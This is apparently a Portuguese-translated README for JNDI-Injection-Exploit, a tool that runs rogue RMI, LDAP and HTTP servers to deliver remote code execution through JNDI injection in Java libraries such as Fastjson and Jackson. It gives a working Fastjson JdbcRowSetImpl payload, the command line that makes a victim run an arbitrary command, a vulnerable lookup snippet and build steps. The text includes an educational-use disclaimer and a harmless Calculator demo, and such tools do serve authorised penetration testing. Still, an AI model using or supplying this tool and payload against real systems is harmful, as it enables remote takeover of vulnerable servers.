
JNDI注入测试工具(Uma ferramenta que gera links JNDI pode iniciar vários servidores para explorar vulnerabilidades de injeção JNDI, como Jackson, Fastjson, etc)
JNDI-Injection-Exploit é uma ferramenta para gerar links JNDI funcionais e fornecer serviços em segundo plano iniciando servidor RMI, servidor LDAP e servidor HTTP. O servidor RMI e o servidor LDAP são baseados no marshalsec e modificados adicionalmente para se conectar ao servidor HTTP.
Usar esta ferramenta permite obter links JNDI, você pode inserir esses links no seu POC para testar a vulnerabilidade.
Por exemplo, este é um Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Podemos substituir "rmi://127.0.0.1:1099/Object" pelo link gerado pelo JNDI-Injection-Exploit para testar a vulnerabilidade.
Todas as informações e código são fornecidos exclusivamente para fins educacionais e/ou teste dos seus próprios sistemas para essas vulnerabilidades.
Execute como
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [comando] [-A] [endereço]
onde:
Pontos de atenção:
certifique-se de que as portas do seu servidor (1099, 1389, 8180) estão disponíveis. ou você pode alterar a porta padrão na classe run.ServerStart linhas 26~28.
seu comando é passado para Runtime.getRuntime().exec() como parâmetros, então você precisa garantir que seu comando seja funcional no método exec().
Comandos no bash como "bash -c ...." precisam adicionar aspas duplas.
Demonstração local:
Inicie a ferramenta assim:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Captura de tela:

Suponha que injetamos os links JNDI como rmi://ADDRESS/jfxllc gerados no passo 1 em uma aplicação vulnerável que pode ser atacada por injeção JNDI.
Neste exemplo, fica assim:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
então quando executamos este código, o comando será executado, e o log será impresso no shell:

Podemos selecionar um dos dois métodos para obter o jar.
Baixe o jar mais recente do Realease.
Clone o código fonte para local e compile (Requer Java 1.8+ e Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests